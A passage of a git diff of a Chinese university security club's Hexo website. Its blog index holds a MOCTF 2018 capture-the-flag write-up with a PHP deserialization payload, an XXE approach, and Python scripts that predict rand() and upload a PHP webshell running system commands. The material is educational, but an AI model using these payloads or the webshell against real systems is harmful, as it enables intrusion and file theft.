作为本次论坛中最受瞩目的部分之一,也将于4月26日开启。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办2018MOCTF新春欢乐赛","slug":"a73c51fc-04d5-4aa7-bcdc-c22aa7b67512","date":"2018-02-13T09:00:04.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/02/13/a73c51fc-04d5-4aa7-bcdc-c22aa7b67512/","link":"","permalink":"https://www.xmutsec.cn/2018/02/13/a73c51fc-04d5-4aa7-bcdc-c22aa7b67512/","excerpt":"","text":"从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了) 签到 签到 20 12支付宝今年集齐五福能一起平分多少钱?flag格式:moctf{数字} flag:moctf{500000000} MISC 空word 100 1真的什么都没有吗 文件是个word 打开看发现一些奇怪的换行和tab 很容易想到是摩斯密码,替换后得到 1-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -.. 解摩斯密码,然后hex转字符串得到flag WEB 登录一哈 300 12登录一下,你就知道。http://111.230.32.124:6001/ 源码放到git里泄露给大家了 index.php 1234567891011121314<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); if(isset($_POST['username']) && isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; $_SESSION["username"] = $username; header("Location:./index.php"); } else if(isset($_SESSION["username"])){ echo '<h1>hello '.$_SESSION["username"].'</h1>'; } else ... flag.php 123456789101112<?phpsession_start();class MOCTF{ public $flag; public $name; function __destruct(){ $this->flag = "moctf{xxxxxxxxxxxxxxxx}"; if($this->flag == $this->name){ echo "Wow,this is flag:".$this->flag; } }} 看源码就可以知道这道题考查的是session反序列漏洞了 在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’ 1ini_set('session.serialize_handler', 'php_binary'); 参考https://blog.spoock.com/2016/10/16/php-serialize-problem/ index.php中的$_session['username']可控,我们就能构造payload到session, 然后访问flag.php页面就能触发反序列化执行__destruct了, 这里还有个考点是$this->flag == $this->name,通过引用的方式绕过。 构造payload 123$a = new MOCTF();$a->name = &$a->flag;echo '|'.serialize($a); 1|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;} 提交到index.php的username,然后访问flag.php就得到flag了 字符串检查 400 12来检查一下你的字符串是否格式良好吧!http://111.230.32.124:6002/ 原意是xxe漏洞读取任意文件 后来知道师傅们卡了很久貌似是因为client-ip的原因,我的锅 题目打开是个json字符串验证的页面,POST包的Content-Type字段是application/json, POST后接口会返回json格式正确或错误的结果 改成application/xml,接口提示只允许本机访问,于是构造 1client-ip:localhost 然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69 这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试 最后flag在/etc/passwd 简单审计 400 12代码都给你了,还说不会做?http://120.78.57.208:6005/ index.php 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566<?phperror_reporting(0);include('config.php');header("Content-type:text/html;charset=utf-8");function get_rand_code($l = 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result;}function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!');}function upload($filename, $content,$savepath) { $AllowedExt = array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename); } if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); } $code=get_rand_code(); $finalname=$filename[0].'moctf'.$code.".".end($filename); file_put_contents("$savepath".$finalname, $content); usleep(3000000); unlink("$savepath".$finalname); die('upload over!');}$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";if(!is_dir($savepath)){ $oldmask = umask(0); mkdir($savepath, 0777); umask($oldmask);}if(isset($_GET['action'])){ $act=$_GET['action']; if($act==='upload') { $filename=$_POST['filename']; if(!is_array($filename)) { $filename = explode('.', $filename); } $content=$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); }}else { highlight_file('index.php');}?> 解释一下题目的意思 根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀, 然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除 有问题的点有这几个 1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了 2.$content的waf绕过, 绕过即可 3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/ 预期解法是 1.username数组bypass后缀检查,绕过content的waf 2.rand随机数预测+爆破文件名 在unlink之前访问shell 结果大佬们直接非预期解bypass了unlink打扰了 非预期解参考一叶飘零师傅的WriteUp 预期解如下 写两个脚本, listen.py 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗#!/usr/bin/env python#-*- coding:utf-8 -*-#by xishirimport requests as reqimport refrom socket import * from time import ctime import randomimport itertools as itsimport hashlibr=req.session()url="http://120.78.57.208:6005/"def get_rand_list(): HOST = '' PORT = 8888 BUFSIZ = 128 ADDR = (HOST, PORT) tcpSerSock = socket(AF_INET, SOCK_STREAM) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) rand_num=0 l=[] while True: tcpCliSock, addr = tcpSerSock.accept() while True: data = tcpCliSock.recv(BUFSIZ) if not data: break data=data[0:6] print data,l for i in data: l.append(ord(i)+1-ord('a')) rand_num+=1 if rand_num==6: break tcpCliSock.close() tcpSerSock.close() return ldef get_salt(l): salt="" for i in range(6): j=len(l) r=(l[j-3]+l[j-31])-1 if r>26: r-=26 #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1) l.append(r) salt+=chr(r+ord('a')-1) #print salt return saltdef get_flag(salt): s=hashlib.sha1('119.23.73.3').hexdigest() url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php' data={"a":"system('cat ../../flag.php');echo '666666';"} r2=r.post(url1,data=data) print salt if '404' not in r2.text: print r2.textget_flag('aaaaaa')l=get_rand_list()salt=get_salt(l)s=0for i in range(100000): s=s+1print swords = "10"o=its.product(words,repeat=6)for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])-int(s[j])) get_flag(salt2)words = "10"o=its.product(words,repeat=6)for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])+int(s[j])) get_flag(salt2) put.py 1234567891011121314151617181920212223242526272829303132#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次#!/usr/bin/env python#-*- coding:utf-8 -*-#by xishirimport requests as reqimport rer=req.session()url="http://120.78.57.208:6005/?action="def get_test(): url2=url+"test" r1=r.get(url2) print url2 print r1.textdef upload(): data={"filename[4]":"jpg", "filename[2]":"jpg", "filename[1]":"php", "content":"<script language='php'>assert($_POST[a]);</script>", "a":"system('cat ../../flag.php');" } url1=url+"upload" r2=r.post(url1,data=data) print r2.textfor i in range(6): get_test()upload() 运行结果如下 感想 讲一下这次比赛我主要干了那些事吧 出题,如上所述 平台搭建,用的是ctfd,docker的方式搭建的,省了很多事 题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题 发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事 比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的 放一些后台数据 原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境) 打一波广告,http://www.moctf.com/ MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。 最后祝大家新年快乐!","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"Writeup","slug":"Writeup","permalink":"https://www.xmutsec.cn/tags/Writeup/"}]},{"title":"360第二届48小时黑客马拉松破解大奖赛第四名","slug":"6d1aa499-57ee-401b-a911-8062c6cae869","date":"2017-11-25T08:58:00.000Z","updated":"2024-01-23T02:58:32.690Z","comments":false,"path":"2017/11/25/6d1aa499-57ee-401b-a911-8062c6cae869/","link":"","permalink":"https://www.xmutsec.cn/2017/11/25/6d1aa499-57ee-401b-a911-8062c6cae869/","excerpt":"","text":"北京时间11月23日,第二届48小时黑客马拉松破解大奖赛于福州正式开战。作为一项对产品安全严格要求、向黑客精神极致追逐、给予参赛选手高额奖励的黑客赛事,本届黑客马拉松吸引了来自全国近10支学生黑客战队参赛,其中包括来自台湾地区的BambooFox和TDOH两支战队。 48小时黑客马拉松破解大奖赛由360安全应急响应中心主办的面向360公司IoT设备的漏洞奖励赛事,设置了36万人民币奖金池,单个漏洞奖励最高可达5万元。 1少年郎剑试天下 黑客马拉松概念源自美国,当一群高手云集一堂,互相沟通和学习,这就成了”世界上最酷的技术狂欢”。黑客马拉松破解赛采用了48小时极限漏洞挖掘和破解目标随机选定的赛制,参赛选手需要在比赛期间连续不中断地对特定产品进行漏洞挖掘,每队只配备一间休息室以供选手“回血”。在这样短的时间内寻找由安全人员反复把关的产品漏洞,并非易事。不过,没有绝对安全的系统,我们也在期待着他们的精彩表现,为提升360产品安全性而大展身手! 1黑不是目的,安全才是王道 360集团作为中国领先的互联网络安全企业,汇聚了国内规模领先的高水平安全技术团队,积累了接近万件原创技术和核心技术的专利,并在此基础上开发出拥有数亿用户的360安全卫士、360手机卫士等安全产品,同时为上百万家国家机关和企事业单位提供包括安全咨询、安全运维、安全培训等全方位安全服务。 怀揣用户安全第一的目的和决心,48小时黑客马拉松破解大奖赛邀请到高校学生对指定产品进行全面漏洞挖掘,考验的不仅仅是书本上的知识,还有个人的技术实力与团队的协同配合。比赛一方面可以提升360产品的安全性,另一方面则能促进新生代网络安全人才的交流,提高网络安全从业者的技术水平,共同打造更安全的网络环境。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"“百越杯”第三届福建省高校网络空间安全大赛 一等奖、三等奖、优胜奖","slug":"0fbc0fc1-39e4-47ee-9cff-ba792b068f27","date":"2017-10-28T08:57:18.000Z","updated":"2024-01-23T02:58:32.690Z","comments":false,"path":"2017/10/28/0fbc0fc1-39e4-47ee-9cff-ba792b068f27/","link":"","permalink":"https://www.xmutsec.cn/2017/10/28/0fbc0fc1-39e4-47ee-9cff-ba792b068f27/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”。 本协会派出的三支队伍分别获得了一等奖、三等奖和优胜奖,其中CodeMonster战队全省第三夺得一等奖,获得2000元奖金。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2017 XNUCA第一期Web专题 第9名","slug":"dfd03705-8ad1-420f-8534-0fd4086165e7","date":"2017-08-26T08:56:01.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2017/08/26/dfd03705-8ad1-420f-8534-0fd4086165e7/","link":"","permalink":"https://www.xmutsec.cn/2017/08/26/dfd03705-8ad1-420f-8534-0fd4086165e7/","excerpt":"","text":"“全国高校网安联赛(National University Cybersecurity Association,简称X-NUCA)”是面向全国高校学生的网络安全技能竞赛,首届比赛已于2016年7月31日举办,大赛秉承“寓学于赛,以赛促学”的理念,推出“竞赛+”模式,将赛前指导、赛中锻炼和赛后交流三者有机结合,旨在更好地促进国家网络安全人才的培养和选拔。 X-NUCA联赛面向全国在校学生,包括专科生、本科生、硕士生和博士生,需由指导老师带队参赛。2017赛季分为专题赛和总决赛两个阶段,首次专题赛2017年8月26日举办。专题赛包含3期线上赛,分别在8月26日、10月8日、11月25日举办,12月举办总决赛并颁奖。 X-NUCA联赛推出的“竞赛+”模式通过引入赛前指导和赛后交流环节,使参赛选手不仅可以比赛,还可以有针对性的学习。在“竞赛+”模式中,比赛队伍常规化、比赛活动常规化,类似于“NBA”模式。在这种模式下,参赛队伍荣誉感更强,人才的归属感更强,更容易和高校正规的人才培养体系相结合。X-NUCA联赛力图将竞赛平台、学习平台、交流平台和参赛团队四者紧密连接,努力落实“寓学于赛,以赛促学”的理念,旨在促进中国高校网安教学水平的提高和网安人才的发现。 我们协会的CodeMonster战队首次参加本次比赛,取得了线上赛全国第9名的成绩。 比赛图片 比赛期间截图,一度占领榜一:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办第一届厦门理工“国科杯”网络信息安全大赛","slug":"6eba13d5-1e74-4680-8a10-9c18763b6389","date":"2017-05-06T08:54:34.000Z","updated":"2024-01-23T02:58:32.694Z","comments":false,"path":"2017/05/06/6eba13d5-1e74-4680-8a10-9c18763b6389/","link":"","permalink":"https://www.xmutsec.cn/2017/05/06/6eba13d5-1e74-4680-8a10-9c18763b6389/","excerpt":"","text":"为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科杯”第一届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。 比赛图片 比赛海报: 比赛现场: 比赛排行榜:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2017 信息安全铁人三项赛企业赛华南赛区 三等奖(第3名)","slug":"f72cbee7-1294-46b9-92e3-49a3140255b2","date":"2017-04-22T08:52:55.000Z","updated":"2024-01-23T02:58:32.710Z","comments":false,"path":"2017/04/22/f72cbee7-1294-46b9-92e3-49a3140255b2/","link":"","permalink":"https://www.xmutsec.cn/2017/04/22/f72cbee7-1294-46b9-92e3-49a3140255b2/","excerpt":"","text":"信息安全铁人三项赛是一项面向大学生的公益性科技类竞赛,由中国信息产业商会信息安全产业分会发起主办,通过整合信息安全产业资源对接高校,为大学生提供一个进行信息安全技术创新、深入产业行业应用以及扩展安全视野的平台,推动校企合作模式的信息安全人才培养,从而实现信息安全优秀人才的培养和选拨渠道。 大赛强调贴近实战,以信息安全典型行业应用场景为大赛环境,重点检验参赛学生面对真实环境下的信息安全工程能力和攻防技术能力。 大赛强调企业与高校的联合,通过校企对接的企业导师加学生战队的模式,将企业资源纳入到高校的信息安全相关专业人才培养中,并实现人才从高校到企业的无缝对接。 信息安全铁人三项赛为一项周期为一年的全国性联赛赛事,由多个区域分站赛和年度总决赛组成。 本协会的CodeMonster战队荣获第三名,拿下三等奖5000元奖金。 比赛图片 获奖图片:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"说明","slug":"fuckscoredog","date":"2016-12-11T09:02:25.000Z","updated":"2024-01-23T02:58:32.710Z","comments":false,"path":"2016/12/11/fuckscoredog/","link":"","permalink":"https://www.xmutsec.cn/2016/12/11/fuckscoredog/","excerpt":"","text":"我们尊重每个人的选择,尊重大家的学习方向和学习意图,但是协会曾经发生过一些不愉快的事情,为了协会后续发展,我觉得这件事很有必要写出来警示大家一下,希望各位不要成为下一个“他” 开篇点题,协会在2021级纳新的时候曾经招进来一名十分“优秀”的成员,这名成员在中专时参加过网络安全相关的比赛,当时我们都对他抱有很大的希望,认为他可以长期在协会中发展下去。 该成员在校赛时通过一些手段拿到了校赛第一,在往后的训练中也有一些佳绩,直到后来跟我们打了第一场比赛,所展现的水分也逐渐浮出水面 2021年10月 - 某SCTF 团队组队,这是一场线上比赛,比赛是团队合作,但是该成员在比赛中表现不佳,没做出来几道题 2021年12月 - 福建省某盾比赛 团队组队,这场比赛初赛(线上/联网)还算顺利,但在复赛的时候,Teamwork逐渐变得不顺利起来,起先是这名成员零解(没有做出任何一道题)再到后面的连最基础的ASP一句话木马都不会写,环境都用不明白,我们就知道这名成员水分有多大了,最后也是靠着队友拿到了省赛三等奖 2022年5月 - **CC 2022年4月 - 国赛省赛 团队组队,该成员报名参赛,未上线,靠着队友拿了省赛三等奖 2022年7月 - 某帽杯 团队组队,该成员报名参赛,未上线,这也导致我们只打进了复赛没打进决赛的其中一个原因,在赛后联系该成员没有得到任何回复 2022年8月 - 某鼎杯 团队组队,该成员报名参赛,未上线,比较难受的是,这场比赛我们仅差一名就能进半决赛 可恨的是不是参加没来参加比赛,而是靠着队友的名次去申请一系列的奖学金+“三好学生”,但凡这名成员没做这件事我们也不会单独写一篇文章来警示大家,我们只希望大家能靠着自己所热爱的,那颗炙热且充满学习欲望的心来做自己所喜欢的事情,而不是叫学长一直带你,让你拿奖拿到手软什么的,你也是要有输出的,前期弱一点没关系,到后期我们可以慢慢磨练。 俗话说的好,“师傅领进门,修行在个人”,我们给予您学习资料+平台,您只需要好好学习就行了,不要总想着走捷径,这些道理在之后等你出社会就明白了,出了社会这些人情世故还有很长一段时间要学,上大学,已经走进了半个社会,要学会为人处事,不要总想着贪小便宜。 愿你我,在毕业后都能找到适合自己的路。共勉","categories":[],"tags":[]},{"title":"“百越杯”第二届福建省高校网络空间安全大赛 二等奖、三等奖、优胜奖","slug":"72c8b299-29e5-4e88-a684-7c65b3931760","date":"2016-12-11T08:46:38.000Z","updated":"2024-01-23T02:58:32.694Z","comments":false,"path":"2016/12/11/72c8b299-29e5-4e88-a684-7c65b3931760/","link":"","permalink":"https://www.xmutsec.cn/2016/12/11/72c8b299-29e5-4e88-a684-7c65b3931760/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第二届“福建省高校网络空间安全大赛”。 本协会派出的三支队伍分别获得了二等奖、三等奖和优胜奖,其中CodeMonster战队全省第六夺得二等奖,获得2000元奖金。 比赛图片 比赛现场: 比赛视频 比赛视频:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"厦门理工学院信息安全协会成立","slug":"131885e3-191c-40ac-af0d-79835e15d45b","date":"2016-06-09T08:45:43.000Z","updated":"2024-01-23T02:58:32.690Z","comments":false,"path":"2016/06/09/131885e3-191c-40ac-af0d-79835e15d45b/","link":"","permalink":"https://www.xmutsec.cn/2016/06/09/131885e3-191c-40ac-af0d-79835e15d45b/","excerpt":"","text":"本协会成立于2016年6月9日,致力于对信息安全方面的探索与创新,旨在为我校热爱信息安全的同学提供一个交流平台,扩大信息安全在我校的影响力。 协会活动 本协会通过参加CTF竞赛的形式验证自己的信息安全技术水平 各位大佬和萌新可以去协会CodeMonster战队与集美大学信安协会的Mokirin战队共同搭建维护的MOCTF平台进行日常CTF刷题。 CTF介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。 CTF大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"协会杂谈","slug":"协会杂谈","permalink":"https://www.xmutsec.cn/tags/%E5%8D%8F%E4%BC%9A%E6%9D%82%E8%B0%88/"}]}],"categories":[],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://www.xmutsec.cn/tags/CTF/"},{"name":"提问的智慧","slug":"提问的智慧","permalink":"https://www.xmutsec.cn/tags/%E6%8F%90%E9%97%AE%E7%9A%84%E6%99%BA%E6%85%A7/"},{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"Writeup","slug":"Writeup","permalink":"https://www.xmutsec.cn/tags/Writeup/"},{"name":"协会杂谈","slug":"协会杂谈","permalink":"https://www.xmutsec.cn/tags/%E5%8D%8F%E4%BC%9A%E6%9D%82%E8%B0%88/"}]} \ No newline at end of file diff --git a/index.html b/index.html index e7117ad..dae5abe 100644 --- a/index.html +++ b/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2797,7 +2797,7 @@
- + @@ -2815,7 +2815,7 @@

-

@@ -2836,12 +2836,12 @@

- +
diff --git a/join/index.html b/join/index.html index c0a5900..24799c9 100644 --- a/join/index.html +++ b/join/index.html @@ -1,7 +1,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -2278,7 +2278,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2810,7 +2810,7 @@

Q&A

-
+

更新于:2024年1月23日

@@ -3952,7 +3952,7 @@

XMUTSEC

- + diff --git a/links/index.html b/links/index.html index 616afcd..4ae6c6f 100644 --- a/links/index.html +++ b/links/index.html @@ -1,7 +1,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -2278,7 +2278,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2734,7 +2734,7 @@

-
+

更新于:2024年1月23日

@@ -3876,7 +3876,7 @@

XMUTSEC

- + diff --git a/members/index.html b/members/index.html index 2859583..0a58146 100644 --- a/members/index.html +++ b/members/index.html @@ -1,7 +1,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -2278,7 +2278,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2775,7 +2775,7 @@

2016-2017

-
+

更新于:2024年1月23日

@@ -3917,7 +3917,7 @@

XMUTSEC

- + diff --git a/page/2/index.html b/page/2/index.html index 7614d17..e21f3cc 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/rss2.xml b/rss2.xml index 8d3ca53..4432e1a 100644 --- a/rss2.xml +++ b/rss2.xml @@ -9,14 +9,14 @@ 厦门理工学院信息安全协会官网,这是一个热爱信息安全、网络安全等领域的团体 - Mon, 22 Jan 2024 18:20:02 GMT + Tue, 23 Jan 2024 02:58:32 GMT http://hexo.io/ CTF是什么? - https://www.xmutsec.cn/2024/01/22/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/ - https://www.xmutsec.cn/2024/01/22/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/ - Mon, 22 Jan 2024 18:20:02 GMT + https://www.xmutsec.cn/2024/01/23/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/ + https://www.xmutsec.cn/2024/01/23/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/ + Tue, 23 Jan 2024 02:58:32 GMT diff --git a/tags/CTF/index.html b/tags/CTF/index.html index 103b233..917f17c 100644 --- a/tags/CTF/index.html +++ b/tags/CTF/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2679,7 +2679,7 @@
- + @@ -2697,7 +2697,7 @@

-

@@ -2718,12 +2718,12 @@

- +
